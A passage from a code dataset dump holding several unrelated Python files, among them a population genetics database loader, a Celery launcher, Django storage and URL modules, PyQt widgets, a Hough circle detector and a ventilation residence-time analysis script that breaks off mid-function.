simulation'],\\\n\t\t\t\t\t\t('theta', 1, float):[None, '', 1, 'population mutation rate used in simulation'],\\\n\t\t\t\t\t\t('n0', 0, int):[None, '', 1, 'initial population size in simulation'],\\\n\t\t\t\t\t\t('is_selection', 0, int):[None, '', 1, 'population selection parameter (s) used in simulation'],\\\n\t\t\t\t\t\t('selection_parameters', 0, ):[None, '', 1, 'selection parameters used in simulation'],\\\n\t\t\t\t\t\t('replicate_index', 0, int):[0, '', 1, 'which replicate instance for the same simulation type'],\\\n\t\t\t\t\t\t('no_of_populations', 0, int):[1, '', 1, 'number of populations in the simulation'],\\\n\t\t\t\t\t\t('no_of_chromosomes', 1, int):[None, '', 1, 'number of haplotypes in each simulated population'],\\\n\t\t\t\t\t\t('chromosome_length', 1, int):[None, '', 1, 'length of simulated chromosome'],\\\n\t\t\t\t\t\t('sample_size', 1, int):[None, '', 1, 'output sample size in the simulation'],\\\n\t\t\t\t\t\t('no_of_polymorphic_loci', 0, int):[None, '', 1, 'number of polymorhpic loci in simulation output'],\\\n\t\t\t\t\t\t('population_size_parameters', 0, ):[None, '', 1, 'population size parameters for the population genetics simulation'],\\\n\t\t\t\t\t\t('parent_pop_gen_simulation_type_id', 0, ):[None, '', 1, 'if this pop genetics simulation takes input from another pop gen simulation, \\n\\\n\twhat ID is its pop gene simulation type?'],\\\n\t\t\t\t\t\t('simulation_programs', 0, ):[None, '', 1, 'which population genetics simulation program(s) used'],\\\n\t\t\t\t\t\t('commandline', 0, ):[None, '', 1, 'commandline for population genetics simulation'],\\\n\t\t\t\t\t\t})\n\tdef __init__(self, inputFnameLs=None, **keywords):\n\t\t\"\"\"\n\t\t pop_gen_simulation_type_id=None, replicate_index=None, \\\n\t\t\t\t\t\tno_of_populations=None,\\\n\t\t\t\t\t\tno_of_chromosomes=None, chromosome_length=None, sample_size=None, \\\n\t\t\t\t\t\tno_of_polymorphic_loci=None,\n\t\t\"\"\"\n\t\tAbstractVervetMapper.__init__(self, inputFnameLs=inputFnameLs, **keywords)\n\t\n\tdef run(self):\n\t\t\"\"\"\n\t\t2013.08.04\n\t\t\"\"\"\n\t\tif self.debug:\n\t\t\timport pdb\n\t\t\tpdb.set_trace()\n\t\tsession = self.db_vervet.session\n\t\t\n\t\tsession.begin()\n\t\tif not self.data_dir:\n\t\t\tself.data_dir = self.db_vervet.data_dir\n\t\tdata_dir = self.data_dir\n\t\t\n\t\tinputFileRealPath = os.path.realpath(self.inputFname)\n\t\tlogMessage = \"Adding file %s to db .\\n\"%(self.inputFname)\n\t\t\n\t\tif os.path.isfile(inputFileRealPath):\n\t\t\tpopGenSimulationType = self.db_vervet.getPopGenSimulationType( short_name=None, r=self.r, rho=self.rho, \\\n\t\t\t\t\t\t\tmu=self.mu, theta=self.theta, n0=self.n0, is_selection=self.is_selection,\\\n\t\t\t\t\t\t\tselection_parameters=self.selection_parameters, indel=None, indel_parameters=None, \\\n\t\t\t\t\t\t\tpopulation_size_parameters=self.population_size_parameters, \\\n\t\t\t\t\t\t\tparent_pop_gen_simulation_type_id=self.parent_pop_gen_simulation_type_id)\n\t\t\tpopGenSimulation = self.db_vervet.getPopGenSimulation(pop_gen_simulation_type_id=popGenSimulationType.id, \\\n\t\t\t\t\t\treplicate_index=self.replicate_index, no_of_populations=self.no_of_populations,\\\n\t\t\t\t\t\tno_of_chromosomes=self.no_of_chromosomes, chromosome_length=self.chromosome_length, \\\n\t\t\t\t\t\tsample_size=self.sample_size, \\\n\t\t\t\t\t\tno_of_polymorphic_loci=self.no_of_polymorphic_loci, programs=self.simulation_programs,\\\n\t\t\t\t\t\toriginal_path=inputFileRealPath, data_dir=self.data_dir)\n\t\t\ttry:\n\t\t\t\tmd5sum = utils.get_md5sum(inputFileRealPath)\n\t\t\texcept:\n\t\t\t\tsys.stderr.write('Except type: %s\\n'%repr(sys.exc_info()))\n\t\t\t\timport traceback\n\t\t\t\ttraceback.print_exc()\n\t\t\t\tself.cleanUpAndExitOnFailure(exitCode=4)\n\t\t\t\n\t\t\tdb_entry = VervetDB.PopGenSimulation.query.filter_by(md5sum=md5sum).first()\n\t\t\tif db_entry and db_entry.id!=popGenSimulation.id and db_entry.path and os.path.isfile(os.path.join(data_dir, db_entry.path)):\n\t\t\t\tsys.stderr.write(\"Warning: another file %s with the identical md5sum %s as this file %s, is already in db.\\n\"%\\\n\t\t\t\t\t\t\t\t(db_entry.path, md5sum, inputFileRealPath))\n\t\t\t\tself.sessionRollback(session)\n\t\t\t\tself.cleanUpAndExitOnFailure(exitCode=3)\n\t\t\t\n\t\t\t\n\t\t\tif popGenSimulation.md5sum is None or popGenSimulation.md5sum!=md5sum:\n\t\t\t\tpopGenSimulation.md5sum = md5sum\n\t\t\t\tsession.add(popGenSimulation)\n\t\t\t\tsession.flush()\n\t\t\ttry:\n\t\t\t\t#move the file and update the db_entry's path as well\n\t\t\t\texitCode = self.db_vervet.moveFileIntoDBAffiliatedStorage(db_entry=popGenSimulation, \\\n\t\t\t\t\t\t\tfilename=os.path.basename(inputFileRealPath), \\\n\t\t\t\t\t\t\tinputDir=os.path.split(inputFileRealPath)[0], dstFilename=os.path.join(self.data_dir, popGenSimulation.path), \\\n\t\t\t\t\t\t\trelativeOutputDir=None, shellCommand='cp -rL', \\\n\t\t\t\t\t\t\tsrcFilenameLs=self.srcFilenameLs, dstFilenameLs=self.dstFilenameLs,\\\n\t\t\t\t\t\t\tconstructRelativePathFunction=popGenSimulation.constructRelativePath)\n\t\t\texcept:\n\t\t\t\tsys.stderr.write('Except in copying %s to db-storage with except info: %s\\n'%(inputFileRealPath, repr(sys.exc_info())))\n\t\t\t\timport traceback\n\t\t\t\ttraceback.print_exc()\n\t\t\t\tself.sessionRollback(session)\n\t\t\t\tself.cleanUpAndExitOnFailure(exitCode=5)\n\t\t\t\n\t\t\tif exitCode!=0:\n\t\t\t\tsys.stderr.write(\"Error: moveFileIntoDBAffiliatedStorage() exits with code=%s.\\n\"%(exitCode))\n\t\t\t\tself.sessionRollback(session)\n\t\t\t\tself.cleanUpAndExitOnFailure(exitCode=exitCode)\n\t\t\ttry:\n\t\t\t\t#make sure these files are stored in self.dstFilenameLs and self.srcFilenameLs\n\t\t\t\t#copy further files if there are\n\t\t\t\tif self.inputFnameLs:\n\t\t\t\t\tfor inputFname in self.inputFnameLs:\n\t\t\t\t\t\tif inputFname!=self.inputFname:\t#2013.3.18 make sure it has not been copied.\n\t\t\t\t\t\t\tlogMessage = self.db_vervet.copyFileWithAnotherFilePrefix(inputFname=inputFname, \\\n\t\t\t\t\t\t\t\t\t\t\t\tfilenameWithPrefix=popGenSimulation.path, \\\n\t\t\t\t\t\t\t\t\t\t\t\toutputDir=self.data_dir,\\\n\t\t\t\t\t\t\t\t\t\t\t\tlogMessage=logMessage, srcFilenameLs=self.srcFilenameLs, \\\n\t\t\t\t\t\t\t\t\t\t\t\tdstFilenameLs=self.dstFilenameLs)\n\t\t\t\t\n\t\t\t\tself.db_vervet.updateDBEntryPathFileSize(db_entry=popGenSimulation, data_dir=data_dir)\n\t\t\t\t\n\t\t\t\t## 2012.7.17 commented out because md5sum is calculated above\n\t\t\t\t#db_vervet.updateDBEntryMD5SUM(db_entry=genotypeFile, data_dir=data_dir)\n\t\t\texcept:\n\t\t\t\tsys.stderr.write('Except type: %s\\n'%repr(sys.exc_info()))\n\t\t\t\timport traceback\n\t\t\t\ttraceback.print_exc()\n\t\t\t\tself.sessionRollback(session)\n\t\t\t\tself.cleanUpAndExitOnFailure(exitCode=5)\n\t\telse:\n\t\t\tlogMessage += \"%s doesn't exist.\\n\"%(inputFileRealPath)\n\t\tself.outputLogMessage(logMessage)\n\t\t\n\t\tif self.commit:\n\t\t\ttry:\n\t\t\t\tsession.flush()\n\t\t\t\tsession.commit()\n\t\t\texcept:\n\t\t\t\tsys.stderr.write('Except type: %s\\n'%repr(sys.exc_info()))\n\t\t\t\timport traceback\n\t\t\t\ttraceback.print_exc()\n\t\t\t\tself.cleanUpAndExitOnFailure(exitCode=3)\n\t\telse:\n\t\t\t#delete all target files but exit gracefully (exit 0)\n\t\t\tself.sessionRollback(session)\n\t\t\tself.cleanUpAndExitOnFailure(exitCode=0)\n\t\n\n\nif __name__ == '__main__':\n\tmain_class = AddPopGenSimulation2DB\n\tpo = ProcessOptions(sys.argv, main_class.option_default_dict, error_doc=main_class.__doc__)\n\tinstance = main_class(po.arguments, **po.long_option2value)\n\tinstance.run()","sub_path":"src/db/input/AddPopGenSimulation2DB.py","file_name":"AddPopGenSimulation2DB.py","file_ext":"py","file_size_in_byte":8406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"168945835","text":"from project import create_app, ext_celery\n\n\napp = create_app()\ncelery = ext_celery.celery\n\n\n@app.cli.command(\"celery_worker\")\ndef celery_worker():\n from watchgod import run_process\n import subprocess\n\n def run_worker():\n subprocess.call(\n ['celery', '-A', 'celery_app.celery', 'worker', '--loglevel=info', '-Q', 'high_priority,default']\n )\n\n run_process('./project', run_worker)\n","sub_path":"celery_app.py","file_name":"celery_app.py","file_ext":"py","file_size_in_byte":417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"638116171","text":"vincent = {'first_name':\"Weizheng\",\n 'last_name':\"CHEN\",\n 'age':23,\n 'city':\"Beijing\"\n }\nalina = {'first_name':\"Yi\",\n 'last_name':\"XIE\",\n 'age':22,\n 'city':\"Changsha\"\n }\ncrush = {'first_name':\"Weiye\",\n 'last_name':\"MENG\",\n 'age':23,\n 'city':\"Wuhan\"\n }\n\npeople = [vincent, alina, crush]\n\nfor name in people:\n for key, value in name.items():\n print(key + ' : ' + str(value))","sub_path":"Python Practice/Python编程:从入门到实践/第6章/6-7 人.py","file_name":"6-7 人.py","file_ext":"py","file_size_in_byte":486,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"181680173","text":"from django.conf.urls import url\nfrom . import views\n\n\nurlpatterns = [\n url(r'^$', views.index),\n url(r'^goninja$', views.go_ninjas),\n url(r'^ninjas$', views.ninjas),\n url(r'^ninja/(?P\\w+)$', views.show_ninjas, name ='show_ninjas'),\n # url(r'^.*$', views.index),\n]\n# \n# url(r'^ninjas$', views.index, name = 'index'),\n# url(r'^ninjas/(?P\\w+)$', views.show, name = 'show'),","sub_path":"apps/ninja_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"628223490","text":"from PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import (QTreeWidget,QTreeWidgetItem,QApplication)\n# import threading\nimport os\nfrom loggy_settings import lwdVSwirelineFile, mnomonicsfile\ndef get_txtdict(file,delimiter=','):\n with open(file,'r') as f:\n lines=f.readlines()\n file_dict={}\n for l in lines:\n [key,val]=l.split('=')\n file_dict[key.strip()]=[v.strip() for v in val.split(delimiter)]\n return file_dict\ndef write_txtdict(file,text_dict,delimiter=','):\n with open(file,'w') as f:\n for key in text_dict:\n line=\"{} = {} \\n\".format(key,delimiter.join(text_dict[key]).strip())\n f.writelines(line)\ndef treeWidgetFrmArray(tree,heading,elementarray):\n tree.headerItem().setText(0, \"Logs\") \n parent = QTreeWidgetItem(tree) \n parent=parentWidgetFrmArray(parent,heading,elementarray)\n \n return tree\ndef parentWidgetFrmArray(parent,heading,elementarray): \n parent.setText(0, heading)\n # parent.setFlags(parent.flags())\n parent.setFlags(parent.flags() | Qt.ItemIsTristate | Qt.ItemIsUserCheckable)\n parent.setCheckState(0, Qt.Unchecked)\n for element in elementarray:\n child = QTreeWidgetItem(parent)\n # child.setFlags(child.flags() | Qt.ItemIsTristate | Qt.ItemIsUserCheckable )\n child.setText(0, element)\n return parent\n \n\ndef treeWidgetFrmDict(tree,treeview_dict): #QTreeWidgetItem()\n # item = QTreeWidgetItem()\n \n for key in treeview_dict:\n parent = QTreeWidgetItem(tree)\n parent.setText(0, key)\n # parent.setFlags(parent.flags() | Qt.ItemIsTristate )\n parent.setFlags(parent.flags())\n \n for subkey in treeview_dict[key]:\n child = QTreeWidgetItem(parent)\n child.setFlags(child.flags() )\n # child.setFlags(child.flags() | Qt.ItemIsTristate | Qt.ItemIsUserCheckable)\n child.setText(0, subkey)\n # child.setCheckState(0, Qt.Unchecked)\n finaldict=treeview_dict[key][subkey]\n for thirdkey in finaldict:\n subchild = QTreeWidgetItem(child)\n subchild.setFlags(child.flags() ) #| Qt.ItemIsUserCheckable\n subchild.setText(0, thirdkey)\n # subchild.setCheckState(0, Qt.Unchecked)\n\n # #create the checkbox\n # finaldict=self.treeview_dict[key][subkey][thirdkey]\n # # for fourthkey in finaldict:\n # for i in range(self.tree.headerItem().columnCount()):\n # # if i < 3:\n # subchild.setText(i, finaldict[i])\n tree.expandToDepth(1)\n return tree\n\nclass LasTree():\n def __init__(self):#\n # self.interval = interval\n self.isitfile=False\n \n # self.Lases=loadedlas \n \n self.tree = QTreeWidget ()\n \n\n \n # \n\n # thread = threading.Thread(target=self.run, args=())\n # thread.daemon = True # Daemonize thread\n # thread.start() \n # def lasLoad(self):\n # print(self.tree.selectedItems()[0].text(0))\n def set_files(self,lasfiles,make_tree_dict=True):\n self.files=lasfiles \n if make_tree_dict:\n self.make_lastree_dict() \n\n def make_lastree_dict(self): \n def get_loggingtype(file_str,logging_type_dict):\n # filewords=multi_split(file_str,delims=['_','-','.'])\n for key in logging_type_dict.keys():\n for keyword in logging_type_dict[key]:\n if keyword in file_str:\n return key\n return 'WireLine'\n def get_category(log_mnemo,cat_dict):\n # filewords=multi_split(file_str,delims=['_','-','.'])\n for key in cat_dict:\n if log_mnemo in cat_dict[key]:\n return key\n return 'NA'\n\n # log_categoty_dict\n def split_strofarray(strArray,delim):\n resarray=[]\n for s in strArray:\n resarray.extend(s.split(delim))\n return resarray\n def multi_split(str_,delims=['_','-','.']):\n str_=[str_]\n for d in delims:\n str_=split_strofarray(str_,d)\n return str_\n #Defferentiate tvd vs nontvd files\n if len(self.files[0])>4:\n if (self.files[0][-4:].lower()=='.las')|(self.files[0][-4:].lower()=='dlis'):\n self.isitfile=True\n self.lwdVSwirelineFile= lwdVSwirelineFile\n tvd_files=[]\n nontvd_files=[]\n for f in self.files:\n if 'TVD' in f:\n tvd_files.append(f)\n else:\n nontvd_files.append(f)\n #Defferentiate lwd vs wireline files\n type_dict=get_txtdict(self.lwdVSwirelineFile)\n\n lwd_files=[]\n wireline_files=[]\n self.treeview_dict={\n 'MD':{ }, #'LWD':[],'WireLine':[] \n 'TVD':{ } \n }\n las_r_log_groups=[nontvd_files,tvd_files]\n else:\n self.isitfile=False\n if not self.isitfile: #Log category\n self.mnemonicsFile=mnomonicsfile\n type_dict=get_txtdict(self.mnemonicsFile,delimiter=' ')\n las_r_log_groups=[self.files]\n self.treeview_dict={\n 'Log':{ } \n } \n \n \n for typefiles,key in zip(las_r_log_groups,self.treeview_dict.keys()):\n ilwd=0\n iwl=0\n # print(type_dict)\n for k in type_dict.keys(): \n self.treeview_dict[key][k]=[]\n if not self.isitfile: self.treeview_dict[key]['NA']=[]\n for f in typefiles:\n if self.isitfile:\n indxkey= get_loggingtype(f,type_dict) \n else:\n indxkey=get_category(f,type_dict) \n self.treeview_dict[key][indxkey].append(f)\n myinterdict={}\n for key in self.treeview_dict:\n myinterdict[key]={}\n for k in self.treeview_dict[key]:\n if(len(self.treeview_dict[key][k])>0):\n myinterdict[key][k]= self.treeview_dict[key][k]\n self.treeview_dict=myinterdict\n # print(self.treeview_dict)\n \n \n \n def buildTreeWidget(self):\n \n treeWidgetFrmDict(self.tree,self.treeview_dict)\n\nif __name__ == '__main__':\n import sys\n app = QApplication(sys.argv)\n folder=r'D:\\Ameyem Office\\Projects\\Cairn\\W1\\LAS\\\\'\n cols=[]\n # las=[]\n # log.df().sort_values([log.keys()[dindx]])\n # log.keys()\n files=os.listdir(folder)[:]\n w = LasTree()\n w.set_files(files)\n w.buildTreeWidget()\n w.tree.show()\n sys.exit(app.exec_())","sub_path":"AutoSplice/LasTree.py","file_name":"LasTree.py","file_ext":"py","file_size_in_byte":7125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"165701236","text":"import os\nimport sys\nimport re\n\n#directory containing posterior probability files:\ndirname = str(sys.argv[1])\n\n#threshold for what we consider a footprint:\nthreshold = float(sys.argv[2])\n\n#regular expression to exclude discovery motifs:\ndiscovery = re.compile(\"/([disc][0-9])/g\")\n\n#counter to keep track of how many footprints we have seen:\nfootprint_counter = 0\ntotal_counter = 0\n\n#go through each file in the directory:\nfor file in os.listdir(dirname):\n\n #check if this is the right type of file:\n if file.endswith(\".txt\"):\n path = dirname + \"/\" + file\n\n #open the file:\n f = open(path, 'r')\n\n #parse through each line in the file and count all the footprints:\n for line in f:\n if float(line) >= threshold:\n footprint_counter += 1\n total_counter += 1\n\nprint(str(footprint_counter) + \" footprints found out of \" + str(total_counter) + \" motifs.\")\nprint(str(100*footprint_counter*1.0/total_counter*1.0) + \"%\" + \" of motifs are footprints\")","sub_path":"python_scripts/count_all_footprints.py","file_name":"count_all_footprints.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"377860838","text":"from __future__ import absolute_import\n\nfrom django.forms.models import model_to_dict\nfrom django.utils.timezone import now\n\nfrom ..base import HealthcareStorage\nfrom .models import Patient, Provider, PatientID\n\n\nclass DjangoStorage(HealthcareStorage):\n\n def _patient_to_dict(self, patient):\n \"Convert a Patient model to a dictionary.\"\n # Mapping of all fields\n # Might need additional translation of field names\n result = model_to_dict(patient)\n result['created_date'] = patient.created_date\n result['updated_date'] = patient.updated_date\n return result\n\n def _provider_to_dict(self, provider):\n \"Convert a Provider model to a dictionary.\"\n # Mapping of all fields\n # Might need additional translation of field names\n result = model_to_dict(provider)\n result['created_date'] = provider.created_date\n result['updated_date'] = provider.updated_date\n return result\n\n def get_patient(self, id, location=None):\n \"Retrieve a patient record by ID.\"\n if location is None:\n try:\n patient = Patient.objects.get(pk=id)\n except (ValueError, Patient.DoesNotExist):\n patient = None\n else:\n try:\n patient_id = PatientID.objects.all().select_related('patient').get(\n uid=id, location_id=location\n )\n except (ValueError, PatientID.DoesNotExist):\n patient = None\n else:\n patient = patient_id.patient\n return self._patient_to_dict(patient) if patient is not None else None\n\n def create_patient(self, data):\n \"Create a patient record.\"\n # FIXME: Might need additional translation of field names\n try:\n patient = Patient.objects.create(**data)\n except:\n # FIXME: Can we make this exception tighter?\n patient = None\n return self._patient_to_dict(patient) if patient is not None else None\n\n def update_patient(self, id, data):\n \"Update a patient record by ID.\"\n # FIXME: Might need additional translation of field names\n # FIXME: Might need additional error handling\n try:\n data['updated_date'] = now()\n return Patient.objects.filter(pk=id).update(**data)\n except ValueError:\n return False\n\n def delete_patient(self, id):\n \"Delete a patient record by ID.\"\n try:\n patient = Patient.objects.filter(pk=id)\n except ValueError:\n return False\n else:\n if patient.exists():\n patient.delete()\n return True\n return False\n\n def get_provider(self, id):\n \"Retrieve a provider record by ID.\"\n try:\n provider = Provider.objects.get(pk=id)\n except (ValueError, Provider.DoesNotExist):\n provider = None\n return self._provider_to_dict(provider) if provider is not None else None\n\n def create_provider(self, data):\n \"Create a provider record.\"\n # FIXME: Might need additional translation of field names\n try:\n provider = Provider.objects.create(**data)\n except:\n # FIXME: Can we make this exception tighter?\n provider = None\n return self._provider_to_dict(provider) if provider is not None else None\n\n def update_provider(self, id, data):\n \"Update a provider record by ID.\"\n # FIXME: Might need additional translation of field names\n # FIXME: Might need additional error handling\n try:\n data['updated_date'] = now()\n return Provider.objects.filter(pk=id).update(**data)\n except ValueError:\n return False\n\n def delete_provider(self, id):\n \"Delete a provider record by ID.\"\n try:\n provider = Provider.objects.filter(pk=id)\n except ValueError:\n return False\n else:\n if provider.exists():\n provider.delete()\n return True\n return False","sub_path":"healthcare/backends/django/storage.py","file_name":"storage.py","file_ext":"py","file_size_in_byte":4135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"478651830","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nfrom PIL import Image, ImageDraw\n\ndef hough_accumulator(img):\n x, y = np.nonzero(edges)\n width, height = img.shape\n max_radius = int (width / 2 if width < height else height / 2)\n ab_space = np.zeros((width, height, radius), dtype=np.float64)\n cosines = [np.cos(np.deg2rad(deg)) for deg in range(360)]\n sines = [np.sin(np.deg2rad(deg)) for deg in range(360)]\n count = 0\n print(len(x))\n all_points = list(zip(x, y))\n ap = {}\n for p in all_points:\n ap[p] = 1\n\n radius = 50\n for x, y in all_points:\n print(count)\n for theta in range(360):\n for radius in range(30, 60):\n a = int(x - radius * cosines[theta])\n b = int(y - radius * sines[theta])\n x = int(a + radius * cosines[theta])\n y = int(b + radius * sines[theta])\n \n if a < width and b < height and a >= 0 and b >= 0:\n ab_space[a][b][radius] += 1\n count += 1\n # for x, y in all_points:\n # print(count) \n # for radius in range(49,50):\n # for theta in range(360):\n # a = int(x - radius * cosines[theta])\n # b = int(y - radius * sines[theta])\n \n # x = int(a + radius * cosines[theta])\n # y = int(b + radius * sines[theta])\n # if x < width and x < height and x >= 0 and x >= 0:\n # ab_space[a][b] += 1\n # count += 1\n return ab_space\n\ndef img_from_pixels(x_coords, y_coords, dim):\n new_img = Image.new(\"RGB\", dim, \"white\")\n pix_img = new_img.load()\n for x, y in zip(x_coords, y_coords):\n pix_img[int(x), int(y)] = (255, 0, 0)\n new_img.save('test.jpg')\n\ndef img_accumulator(accumulator):\n accumulator = (accumulator / np.amax(accumulator)) * 1000\n new_img = Image.new(\"RGB\", accumulator.shape, \"white\")\n pix_img = new_img.load()\n \n for i in range(0, len(accumulator)):\n for j in range(0, len(accumulator[0])):\n\n pix_img[i, j] = (int(accumulator[i][j]), 0, 0)\n new_img.save('test_circles.jpg') \n\nimg = cv2.imread('coins.jpg', cv2.IMREAD_GRAYSCALE)\nimg = cv2.GaussianBlur(img, (7, 7), 0)\nedges = cv2.Canny(img, 150, 250)\nab_space = hough_accumulator(edges)\nimg_accumulator(ab_space)\n\n# cv2.imshow('1', edges)\n# cv2.waitKey(0)\n# cv2.destroyAllWindows()","sub_path":"CV/hough_circles.py","file_name":"hough_circles.py","file_ext":"py","file_size_in_byte":2449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"521315283","text":"'''\nCreated on Dec 14, 2017\n\n@author: Oribow\n'''\nfrom data.StrUtil import tStr\nfrom data.AssetUtil import resPathToAbs\nfrom PyQt5.Qt import QLabel, QPushButton, QWidget, QHBoxLayout, QVBoxLayout, \\\n QFormLayout, QSizePolicy, QPixmap\nfrom PyQt5.QtCore import Qt\nfrom morestrategy_too.AmountList import AmountList\nfrom morestrategy_too.QUIFactory import ItemInspectorUIFactory\n\n\nclass QItemInspector(object):\n\n def __init__(self, parentWidget, actor):\n self.graphicsViewWd = parentWidget\n self.uiFactory = ItemInspectorUIFactory(self.buttonClicked)\n self.actor = actor\n self.inspectedAItem = None\n\n actor.ownedItems.aItemChanged.connect(self.actorsItemsChanged)\n\n def inspect(self, aItem=None):\n if aItem == None or not aItem.isValid():\n self.inspectedAItem = aItem\n self.uiFactory.clearUI()\n\n elif aItem == self.inspectedAItem:\n return\n\n else:\n self.uiFactory.beginUI(self.graphicsViewWd)\n aItem.item.onInspectorGUI(self.uiFactory)\n self.uiFactory.endUI()\n self.inspectedAItem = aItem\n\n def actorsItemsChanged(self, batch):\n if self.inspectedAItem == None:\n return\n\n if batch[0] == AmountList.CHANGE_COMPLETELY:\n self.inspect()\n return\n for b in batch:\n code = b[1]\n aItem = b[0]\n if aItem.item.id != self.inspectedAItem.item.id:\n return\n if code == AmountList.CHANGE_REMOVED:\n self.inspect()\n elif code == AmountList.CHANGE_AMOUNT:\n self.inspect(aItem)\n\n def buttonClicked(self, func):\n func(self.inspectedAItem, self.actor)\n","sub_path":"morestrategy_too/QItemInspector.py","file_name":"QItemInspector.py","file_ext":"py","file_size_in_byte":1734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"546354208","text":"#!/usr/bin/python3\n\nimport xml.etree.ElementTree as ET\nfrom optparse import OptionParser\nimport sys\nimport datetime\n\nop = OptionParser()\nop.add_option('-o', '--output', metavar = 'FILE',\n help = 'write output to FILE')\nop.add_option('-m', '--metric', metavar='NAME',\n help = 'name metric as NAME')\n\noptions, args = op.parse_args()\n\nwith open(args[0]) as f:\n line = f.readline()\n while not line.startswith('[ ID]'):\n line = f.readline()\n line = f.readline()\n print('processing {}\\n'.format(line))\n result = line[5:].split()[4]\n\ndef add_time(parent, name):\n e = ET.SubElement(parent, name)\n t = datetime.datetime.utcnow()\n ET.SubElement(e, 'date', val = t.date().isoformat(), format = 'ISO8601')\n ET.SubElement(e, 'time', val = t.time().isoformat(), format = 'ISO8601')\n\nreport = ET.Element('report', categ = 'iperf')\nadd_time(report, 'start')\ntest = ET.SubElement(report, 'test', name = 'iperf-tcp-4cpu-1s-stream', executed = 'yes')\nET.SubElement(test, 'description').text = 'iperf single stream bandwidth to 4 cpu guest'\nres = ET.SubElement(test, 'result')\nET.SubElement(res, 'success', passed = 'yes', state = '1', hasTimeOut = 'no')\nET.SubElement(res, 'performance', unit = 'Mbps', mesure = result, isRelevant = 'true')\nadd_time(report, 'end')\n\nw = sys.stdout\nif options.output:\n w = open(options.output, 'w')\n\nw.write(str(ET.tostring(report), 'UTF8'))","sub_path":"iperf-zcopy/jenkins/iperf-xml.py","file_name":"iperf-xml.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"220036852","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 8 14:26:27 2021\n\n@author: Devineni and Sven finally merged\n\"\"\"\n# Necessary modules\nimport pandas as pd\npd.set_option('mode.chained_assignment',None)\nimport numpy as np\nimport datetime as dt\nimport matplotlib.pyplot as plt\npd.options.plotting.backend = \"matplotlib\" # NOTE: This is useful in case the plotbackend has been changed by any previously (even befor machine shut-downs).\n\n# from statistics import mean\nfrom tabulate import tabulate\nfrom sqlalchemy import create_engine\nfrom uncertainties import ufloat\nfrom uncertainties import unumpy\nfrom uncertainties import umath\n\nfrom post_processing import CBO_ESHL\n\n\n# functions to print in colour\ndef prRed(skk): print(\"\\033[31;1;m {}\\033[00m\" .format(skk)) \ndef prYellow(skk): print(\"\\033[33;1;m {}\\033[00m\" .format(skk)) \n# The following is a general syntax to dedine a MySQL connection\nengine = create_engine(\"mysql+pymysql://root:Password123@localhost/\",pool_pre_ping=True)\n### =============================================================================\n### engine = create_engine(\"mysql+pymysql://admin:the_secure_password_4_ever@localhost/\",\\\n### pool_pre_ping=True) # Krishna's local address\n###=============================================================================\n### engine = create_engine(\"mysql+pymysql://wojtek:Password#102@wojtek.mysql.database.azure.com/\",\\\n### pool_pre_ping=True) # Cloud server address\n\nclass ResidenceTimeMethodError(ValueError):\n def __str__(self):\n return 'You need to select a valid method: iso, trapez or simpson (default)'\n \n#%% Function shape to be fitted for infinity concentration of tau_exh\ndef expfitshape(x, a, b):\n return a*x*np.exp(-x/b)\n\n#%% Function to find outliers\ndef find_outliers(col):\n from scipy import stats\n z = np.abs(stats.zscore(col))\n idx_outliers = np.where(z>3,True,False)\n return pd.Series(idx_outliers,index=col.index)\n\n\ndef residence_time_sup_exh(experiment='W_I_e0_ESHL', aperture_sensor = \"2l\", periodtime=120, \n experimentname=False, plot=False, \n export_sublist=False, method='simpson',\n filter_maxTrel=0.25, logging=False):\n \"\"\"\n method:\n 'iso' (Default) The method described in ISO 16000-8 will be applied\n however this method has a weak uncertainty analysis.\n 'trapez' corrected ISO 16000-8 method applying the trapezoidal method\n for the interval integration and considers this in the \n uncertainty evaluation.\n 'simpson' Applies the Simpson-Rule for the integration and consequently \n considers this in the uncertainty evaluation.\n \n filter_maxTrel:\n Percentage value for the allowed deviation of the predefined \n periodtime T of the devices. Only half-cycles which meet the \n criterion ]T/2*(1-filter_maxTrel),T/2*(1+filter_maxTrel)[\n are going to be evaluated.\n \"\"\" \n \n #%% Function import \n \"\"\"Syntax to import a function from any folder. Useful if the function.py file \n is in another folder other than the working folder\"\"\"\n # import sys \n # import sys \n # sys.path.append(\"C:/Users/Devineni/OneDrive - bwedu/4_Recirculation/python_files/\") \n # from Outdoor_CO2 import outdoor # This function calculates the outdoor CO2 data\n experimentglo = CBO_ESHL(experiment = experiment, aperture_sensor = aperture_sensor)\n global a, b, df_tau_sup, df_tau_exh\n #%% Control plot properties\"\n \"\"\"This syntax controls the plot properties(default plot font, shape, etc), \n more attributes can be added and removed depending on the requirement \"\"\"\n \n from pylab import rcParams\n rcParams['figure.figsize'] = 7,4.5\n plt.rcParams[\"font.family\"] = \"calibri\"\n plt.rcParams[\"font.weight\"] = \"normal\"\n plt.rcParams[\"font.size\"] = 10\n \t\n plt.close(\"all\")\n \n \n \n if periodtime is None:\n T = 120\n prYellow('ATTENTION: periodtime has not been defined. I setted T=120s instead')\n else:\n T = periodtime\n \n # T in s; period time of the ventilation systems push-pull devices.\n # time = pd.read_excel(\"C:/Users/Devineni/OneDrive - bwedu/4_Recirculation/Times_thesis.xlsx\", sheet_name=\"Timeframes\")\n # The dataframe time comes from the excel sheet in the path above, to make -\n # - changes go to this excel sheet, edit and upload it to mysql.\n \n lb = T/2*(1-filter_maxTrel) # lower bound of considered cycles\n 